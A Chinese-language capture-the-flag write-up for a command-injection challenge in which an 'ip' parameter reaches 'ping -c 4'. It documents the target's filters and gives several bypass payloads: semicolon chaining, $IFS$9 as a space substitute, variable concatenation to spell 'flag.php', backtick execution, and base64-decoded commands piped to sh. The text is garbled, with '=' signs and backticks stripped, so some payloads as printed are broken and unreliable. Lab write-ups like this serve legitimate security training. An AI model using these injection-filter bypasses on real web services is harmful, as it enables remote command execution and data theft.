
靶场环境http://3b54c8397c63211ff166a08e.http-ctf2.dasctf.com/题型分析命令执行 RCE参数ip后台执行ping -c 4 $ip过滤清单空格直接空格输出fxck your space!字符串bash正则/.*f.*l.*a.*g.*/只要同时出现 f l a g 四个字母就拦截fxck your flag!过滤部分特殊符号 / ? * \ ( ) [ ] { }可用分隔符;分号执行多条命令空格替代$IFS$9$9是空参数截断 IFS 变量解题过程1.列出当前目录文件/?ip127.0.0.1;ls$IFS$9访问后可以看到两个文件index.php、flag.php2.读取 index.php 看过滤源码/?ip127.0.0.1;cat$IFS$9index.php页面会输出 PHP 源代码看到上面的过滤规则。3.三种拿到 flag 的 payload方案① :变量拼接绕过 flag 正则把flag拆成变量拼接输入字符串不会同时出现 f l a g绕过正则检测。Pyload: /?ip127.0.0.1;ag;cat$IFS$9fla$a.php解析ag执行cat fla$a.php→cat flag.phpflag 是写在 php 文件的变量中页面上看不到需要【查看网页源代码 CtrlU】才能看见 flag 字符串方案②: 反引号内联执行ls结果当做 cat 参数Pyload: /?ip127.0.0.1;cat$IFS$9lsls执行输出index.php flag.php等价执行cat index.php flag.php两个文件全部打印看源码拿 flag。方案③: base64 编码绕过不出现 flag 字符串Payload: /?ip127.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhw|base64$IFS$9-d|sh重要提醒访问后右键查看网页源代码CtrlUflag 藏在源码里网页渲染页面看不见